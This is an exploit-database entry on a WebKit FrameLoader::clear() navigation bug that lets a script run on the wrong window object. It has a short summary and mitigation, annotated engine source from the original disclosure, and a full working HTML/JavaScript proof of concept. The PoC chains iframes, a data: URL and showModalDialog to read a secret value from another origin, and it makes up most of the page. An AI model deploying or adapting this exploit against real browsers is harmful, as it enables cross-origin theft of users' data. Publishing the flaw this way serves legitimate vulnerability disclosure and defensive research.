FrameLoader::clear() Vulnerability

The FrameLoader::clear() function is called when page navigation is made and it does not properly attach the new window object due to a |m_needsClear| check. This allows an attacker to inject a script into a page from another origin, which can be used to steal sensitive information.

Mitigation:

Ensure that the FrameLoader::clear() function properly attaches the new window object.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1162

void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
    m_frame.editor().clear();

    if (!m_needsClear)
        return;
    m_needsClear = false;
    
    if (m_frame.document()->pageCacheState() != Document::InPageCache) {
        ...
        m_frame.document()->prepareForDestruction(); <<-------- (a)
        if (hadLivingRenderTree)
            m_frame.document()->removeFocusedNodeOfSubtree(*m_frame.document());
    }
    ...
    m_frame.setDocument(nullptr); <<------- (b)
    ...
    if (clearWindowProperties)
        m_frame.script().setDOMWindowForWindowShell(newDocument->domWindow()); <<------- (c)
    ...
}

FrameLoader::clear is called when page navigation is made and it does:
1. clear the old document at (b).
2. attach the new window object at (c).

If a new page navigation is made at (a), the new window will not attached due to |m_needsClear| check. As a result, the new document's script will be execute on the old window object.

PoC will reproduce to steal |secret_key| value from another origin(data:text/html,...).

PoC:
-->

<body>
Click anywhere.
<script>
function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

window.onclick = () => {
    window.onclick = null;

    let f = document.body.appendChild(document.createElement('iframe'));
    f.contentDocument.open();
    f.contentDocument.onreadystatechange = () => {
        f.contentDocument.onreadystatechange = null;

        let g = f.contentDocument.appendChild(document.createElement('iframe'));
        g.contentDocument.open();
        g.contentDocument.onreadystatechange = () => {
            g.contentDocument.onreadystatechange = null;

            f.contentWindow.__defineGetter__('navigator', function () {
                return {};
            });

            let a = f.contentDocument.createElement('a');
            a.href = 'data:text/html,' + encodeURI(`<script>var secret_key = '23412341234';</scrip` + 't>');
            a.click();

            showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener[0].frameElement.contentDocument.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 100);
</scrip` + 't>'));

            alert('secret_key:' + f.contentWindow.secret_key);
            //showModalDialog('about:blank');
        };
    };

    f.src = 'javascript:""';
}

</script>
</body>